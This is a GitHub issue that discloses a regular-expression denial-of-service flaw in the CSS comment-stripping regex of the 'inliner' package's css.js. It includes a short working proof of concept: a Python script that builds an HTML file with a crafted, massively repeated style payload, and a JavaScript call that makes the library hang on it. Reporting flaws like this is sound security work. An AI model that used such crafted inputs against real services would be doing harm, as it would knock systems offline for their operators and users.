Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

A ReDoS vulnerability exists in css.js #232

Open
d1tto opened this issue Dec 1, 2022 · 0 comments
Open

A ReDoS vulnerability exists in css.js #232

d1tto opened this issue Dec 1, 2022 · 0 comments

Comments

@d1tto
Copy link

d1tto commented Dec 1, 2022

Description

The program compresses the CSS in the HTML file returned by the server, which calls the compress function in css.js. This function use regex \/\*.*?\*\/ to remove the comment in CSS. There exists a ReDoS vulnerability in this regex when we call it on the replace method.

PoC

I generate the attackable HTML file using the python3 script below

s = '''
<!DOCTYPE html>
<html>
        <head>
<style>
{}
</style>
        </head>
        <body>

                <h1>This is a heading</h1>
                <p>This is a paragraph.</p>

        </body>
</html>
'''.format("/*\u0008\u0008\u0008" * 50000 + "\n\n\n\t\n")

f = open("./index.html", "w", encoding="utf-8", newline=None)
f.write(s)
f.flush()

then I trigger the ReDoS vulnerability using the js script below. The script will take a long time to complete.

var Inliner = require('inliner');

s = new Inliner('http://127.0.0.1/', function (error, html) {
  console.log(html);
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
1 participant
@d1tto